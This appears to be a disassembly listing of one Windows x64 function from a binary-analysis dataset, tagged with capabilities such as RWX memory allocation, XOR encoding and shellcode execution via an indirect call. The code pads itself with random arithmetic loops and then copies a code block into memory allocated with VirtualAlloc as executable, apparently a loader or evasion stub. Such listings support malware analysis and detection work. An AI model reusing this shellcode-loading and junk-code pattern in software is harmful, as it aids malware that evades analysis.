Function at 0x140014890
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x55a0]
mov eax, 0x56a0
call fcn.1400328c0
sub rsp, rax
movaps xmmword [rsp + 0x5690], xmm6
movaps xmmword [rsp + 0x5680], xmm7
movaps xmmword [rsp + 0x5670], xmm8
movaps xmmword [rsp + 0x5660], xmm9
movaps xmmword [rsp + 0x5650], xmm10
movaps xmmword [rsp + 0x5640], xmm11
movaps xmmword [rsp + 0x5630], xmm12
movaps xmmword [rsp + 0x5620], xmm13
movaps xmmword [rsp + 0x5610], xmm14
movaps xmmword [rsp + 0x5600], xmm15
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp + 0x54f0], rax
mov qword [rbp - 0x80], rdx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x68], rcx
xor r12d, r12d
lea rcx, [rbp + 0x330]
call fcn.140002540
lea rdx, [rbp + 0x55d8]
lea rcx, [rbp + 0x330]
call fcn.140002550
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x4050]
call fcn.1400254c0
mov dword [rbp + 0x2b0], 0x3e7
mov dword [rbp + 0x2b4], 0x270f
lea rdx, [rbp + 0x4050]
lea rcx, [rbp + 0x2b0]
call fcn.1400271f0
mov r14d, eax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2cc0]
call fcn.1400254c0
mov dword [rbp + 0x1e8], 0xffffff9c
mov dword [rbp + 0x1ec], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rbp + 0x290], xmm0
mov dword [rsp + 0x34], r12d
xorps xmm8, xmm8
movsd qword [rbp + 0x1c0], xmm8
lea rcx, [rbp + 0x88]
call fcn.140001670
mov qword [rbp + 0x80], 0x64
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x48]
call fcn.1400272a0
lea rcx, [rbp + 0x258]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x258], xmm1
mov qword [rbp + 0x268], r12
lea rcx, [rbp + 0x90]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x258]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x18]
call fcn.140025380
nop
lea rcx, [rbp + 0x90]
call fcn.140025380
lea rcx, [rbp + 0x98]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x258]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x20]
call fcn.140025380
nop
lea rcx, [rbp + 0x98]
call fcn.140025380
lea rcx, [rbp + 0xa0]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x258]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x28]
call fcn.140025380
nop
lea rcx, [rbp + 0xa0]
call fcn.140025380
lea rcx, [rbp + 0xa8]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x30], rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x258]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x30]
call fcn.140025380
nop
lea rcx, [rbp + 0xa8]
call fcn.140025380
lea rcx, [rbp + 0xb0]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x258]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x38]
call fcn.140025380
nop
lea rcx, [rbp + 0xb0]
call fcn.140025380
lea rcx, [rbp + 0xb8]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x258]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x40]
call fcn.140025380
nop
lea rcx, [rbp + 0xb8]
call fcn.140025380
lea rcx, [rbp + 0xc0]
call fcn.140001670
mov rcx, rax
lea rdx, [rbp + 0x48]
call fcn.1400024e0
movsd xmm6, qword [0x140037258]
movsd xmm10, qword [0x140037250]
test al, al
jns 0x140014f16
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
mov rbx, qword [rbp + 0x260]
sub rbx, qword [rbp + 0x258]
sar rbx, 3
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x258]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x34]
mov rcx, rdi
call rbx
mov dword [rsp + 0x34], eax
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x290]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x290]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rbp + 0x1c0]
addsd xmm0, xmm1
movsd qword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x290]
call fcn.140027400
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rbp + 0x1c0]
subsd xmm1, xmm0
movsd qword [rbp + 0x1c0], xmm1
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x290]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rbp + 0x1c0]
movsd qword [rbp + 0x1c0], xmm0
lea rdx, [0x14003597c]
lea rcx, [rbp + 0x470]
call fcn.1400264a0
nop
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x470]
call fcn.140002300
lea rcx, [rbp + 0x318]
call fcn.140002540
lea rcx, [rbp + 0x318]
call fcn.140025590
nop
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x2cc0]
mov qword [rbp + 0x158], rax
movaps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x1b0], xmm0
lea r8, [rbp + 0x1b0]
mov rdx, qword [rbp + 0x320]
mov rcx, qword [rbp + 0x318]
call fcn.140027490
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x318]
call fcn.140002410
mov rdx, qword [rbp + 0x320]
mov rcx, qword [rbp + 0x318]
call fcn.1400274f0
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov dword [rsp + 0x34], ecx
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
test al, 1
jne 0x140014e0b
call fcn.1400271f0
mov ecx, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x140014e1a
call fcn.1400271f0
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x34], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
mov ecx, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x290]
call fcn.140027400
movsd xmm5, qword [rbp + 0x1c0]
addsd xmm0, xmm5
movsd qword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x2cc0]
test bl, 1
jne 0x140014e99
lea rcx, [rbp + 0x1e8]
call fcn.1400271f0
mov ecx, dword [rsp + 0x34]
imul eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x140014ebe
movsd xmm5, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x290]
call fcn.140027400
addsd xmm0, xmm10
divsd xmm5, xmm0
movsd qword [rbp + 0x1c0], xmm5
inc ebx
cmp ebx, 5
jl 0x140014e30
sub rdi, 1
jne 0x140014e20
lea rcx, [rbp + 0x318]
call fcn.140025530
nop
lea rcx, [rbp + 0x470]
call fcn.140026440
sub rsi, 1
jne 0x140014be0
lea rcx, [rbp + 0xc0]
call fcn.140001670
mov rcx, rax
lea rdx, [rbp + 0x48]
call fcn.1400024e0
test al, al
js 0x140014bd0
mov eax, dword [rsp + 0x34]
lea rcx, [rbp + 0x258]
call fcn.1400253f0
lea rcx, [rbp + 0x4b0]
call fcn.140017c10
lea rcx, [rbp + 0x4b0]
call fcn.140025d20
nop
mov edx, r14d
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov ecx, dword [0x140036a20]
mov dword [rsp + 0x44], ecx
movzx ecx, byte [0x140036a24]
mov byte [rsp + 0x44], 0x2e
xor byte [rsp + 0x45], 0xfc
xor byte [rsp + 0x46], 0xfe
xor cl, 2
mov byte [rsp + 0x48], cl
lea rdx, [rsp + 0x44]
mov rcx, rax
call fcn.140027790
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x4b0]
call fcn.140025c70
nop
mov dword [rbp - 0x60], 0x104
lea rcx, [rbp + 0x348]
call fcn.140002540
lea rdx, [rbp + 0x55d8]
lea rcx, [rbp + 0x348]
call fcn.140002550
nop
mov ecx, r12d
lea rdi, [0x140027970]
lea rbx, [0x140000000]
mov rax, qword [0x1400405b0]
test rax, rax
je 0x140015009
nop dword [rax + rax]
cmp rax, rdi
je 0x140014ff6
inc ecx
mov rax, qword [rbx + rcx*8 + 0x405b0]
test rax, rax
jne 0x140014fe0
jmp 0x140015009
mov eax, ecx
mov r9, qword [rbx + rax*8 + 0x42540]
test r9, r9
jne 0x1400150ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140015032
mov r9, r12
jmp 0x1400150ce
mov rax, rdi
mov rcx, r9
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140015040
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400405a0]
mov qword [rbx + rax*8 + 0x405b0], rdi
mov qword [rbx + rax*8 + 0x42540], r9
inc rax
mov qword [0x1400405a0], rax
lea r8, [rbp + 0x53e0]
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call r9
nop
mov rcx, qword [rbp + 0x348]
xor rcx, qword [rbp + 0x350]
mov qword [rbp + 0x348], rcx
mov rax, qword [rbp + 0x358]
mov qword [rax], rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
lea rax, [rbp + 0x53e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140015141
lea rdx, [rbp + 0x53e0]
lea rcx, [rbp - 0x58]
call fcn.1400281c0
nop
mov rdi, qword [rbp + 0x308]
lea r9, [rbp + 0x2f8]
cmp qword [rbp + 0x310], 0xf
cmova r9, qword [rbp + 0x2f8]
mov rsi, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x1400151bf
lea rax, [rsi + rdi]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x58]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rbx]
mov byte [rax + rsi], 0
lea rax, [rbp - 0x58]
jmp 0x1400151d0
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x58]
call fcn.140028030
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14001524a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015245
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140031bd4
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1930]
call fcn.1400254c0
mov dword [rbp + 0x1e0], 0xffffff9c
mov dword [rbp + 0x1e4], 0x64
movsd xmm13, qword [0x140037278]
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0xc8]
call fcn.140001670
mov rbx, qword [rbp + 0xc8]
add rbx, 0x5f5e100
mov qword [rbp + 0xf0], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r12
mov ecx, 8
call fcn.140031880
lea r14, vtable.AddOperation.0
mov qword [rax], r14
mov qword [rbp + 0x1a0], r12
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x1f8]
cmp rdx, qword [rbp + 0x200]
je 0x14001530d
mov rcx, r12
mov qword [rbp - 0x38], rcx
mov qword [rdx], rax
add qword [rbp + 0x1f8], 8
jmp 0x140015321
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x1f0]
call fcn.140028e30
mov rcx, qword [rbp - 0x38]
mov r14d, 1
test rcx, rcx
je 0x140015335
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
mov ecx, 8
call fcn.140031880
lea rsi, vtable.MultiplyOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x1a8], r12
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x1f8]
cmp rdx, qword [rbp + 0x200]
je 0x140015378
mov rcx, r12
mov qword [rbp - 0x30], rcx
mov qword [rdx], rax
add qword [rbp + 0x1f8], 8
jmp 0x14001538c
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x1f0]
call fcn.140028e30
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14001539a
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
mov ecx, 8
call fcn.140031880
lea rsi, vtable.SubtractOperation.0
mov qword [rax], rsi
mov qword [rbp + 0xd0], r12
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x1f8]
cmp rdx, qword [rbp + 0x200]
je 0x1400153da
mov qword [rbp - 0x28], r12
mov qword [rdx], rax
add qword [rbp + 0x1f8], 8
jmp 0x1400153eb
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x1f0]
call fcn.140028e30
nop
lea rcx, [rbp - 0x28]
call fcn.140025380
nop
lea rcx, [rbp + 0xd0]
call fcn.140025380
lea rcx, [rbp + 0xd8]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x50], rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x1f0]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x50]
call fcn.140025380
nop
lea rcx, [rbp + 0xd8]
call fcn.140025380
lea rcx, [rbp + 0xe0]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x58], rcx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x1f0]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x58]
call fcn.140025380
nop
lea rcx, [rbp + 0xe0]
call fcn.140025380
lea rcx, [rbp + 0xe8]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x1f0]
call fcn.1400253c0
nop
lea rcx, [rbp + 0x60]
call fcn.140025380
nop
lea rcx, [rbp + 0xe8]
call fcn.140025380
movsd xmm15, qword [0x140037330]
movsd xmm9, qword [0x140037270]
movsd xmm14, qword [0x140037268]
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x140015501
imul rax, rcx, 0x64
jmp 0x140015570
cmp rdi, 0x16e3600
jne 0x140015555
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140015570
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14001601f
mov dword [rsp + 0x4c], r12d
nop
mov r12d, dword [rbp + 0x1e0]
btc r12d, 0x1f
mov dword [rsp + 0x50], r12d
mov r13d, dword [rbp + 0x1e4]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x1930]
cmp r13d, 0xffffffff
jne 0x1400155cc
call fcn.140029e90
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
jmp 0x14001566d
lea edi, [r13 + 1]
call fcn.140029e90
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x14001560a
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x14001560a
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x1400155f2
jmp 0x14001560c
mov edi, eax
mov r14d, r12d
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov edx, edi
mov qword [rbp - 0x70], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r15d, r12d
cmp ecx, edi
jae 0x140015669
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x140015669
mov ebx, edx
mov r12, qword [rbp - 0x70]
mov r15d, r14d
mov esi, edi
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x140015642
mov rbx, qword [rbp + 0xf0]
mov r12d, dword [rsp + 0x50]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x1f8]
mov r8, qword [rbp + 0x1f0]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x50], rdi
lea rcx, [rbp + 0x1930]
call fcn.140029e90
cmp r13d, 0xffffffff
jne 0x1400156bc
mov ecx, eax
jmp 0x1400156ff
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x1400156fb
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x1400156f6
nop word [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x1400156e0
mov rdi, qword [rsp + 0x50]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rdi
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140015722
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140015770
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm15
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140015810
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x140037258]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140015880
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b8], xmm0
xor r13d, r13d
mov qword [rbp + 0x2c8], r13
mov qword [rbp + 0x2d0], r13
mov r8d, 3
lea rdx, [0x14003597c]
lea rcx, [rbp + 0x2b8]
call fcn.1400281c0
nop
lea rdi, [rbp + 0x2b8]
cmp qword [rbp + 0x2d0], 0xf
cmova rdi, qword [rbp + 0x2b8]
lea rcx, [rbp + 0x2b8]
cmova rcx, qword [rbp + 0x2b8]
mov rsi, qword [rbp + 0x2c8]
add rsi, rcx
cmp rdi, rsi
je 0x140015987
nop dword [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140015977
nop word [rax + rax]
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140015960
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x140015940
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
mov qword [rbp + 0x218], r13
mov ecx, 0x190
call fcn.140031880
mov qword [rbp + 0x208], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x218], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x210], r14
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x160], rax
lea rax, [rbp + 0x1930]
mov qword [rbp + 0x168], rax
movaps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp - 0x70], xmm0
mov rsi, qword [rbp + 0x208]
cmp rsi, r14
je 0x140015a34
mov rdi, qword [rbp - 0x68]
mov r15, qword [rbp - 0x70]
nop dword [rax + rax]
mov rdx, rdi
mov rcx, r15
call fcn.1400271f0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140015a10
mov r14, qword [rbp + 0x210]
mov rsi, qword [rbp + 0x208]
mov dword [rbp + 0x2a8], 0xffffff9c
mov dword [rbp + 0x2ac], 0x64
lea rax, [rbp + 0x2a8]
mov qword [rbp + 0x170], rax
lea rax, [rbp + 0x1930]
mov qword [rbp + 0x178], rax
movaps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp - 0x70], xmm0
cmp rsi, r14
je 0x140015aa8
mov r15, qword [rbp - 0x68]
mov r12, qword [rbp - 0x70]
nop dword [rax]
mov edi, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1400271f0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140015a80
mov r14, qword [rbp + 0x210]
mov rsi, qword [rbp + 0x208]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140029850
mov r8d, r13d
mov rax, qword [rbp + 0x208]
mov rdx, r13
mov r9, qword [rbp + 0x210]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x140015b41
cmp rcx, 8
jb 0x140015b41
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140015b00
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x140015b5c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140015b50
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x1e0]
btc esi, 0x1f
mov r12d, dword [rbp + 0x1e4]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x1930]
cmp r12d, 0xffffffff
jne 0x140015bae
call fcn.140029e90
lea edi, [rsi + rax]
xor edi, 0x80000000
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
jmp 0x140015c51
inc r12d
call fcn.140029e90
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x140015bea
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x140015bea
lea rcx, [rbp + 0x1930]
call fcn.140029e90
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140015bd4
shr rcx, 0x20
lea r14d, [rsi + rcx]
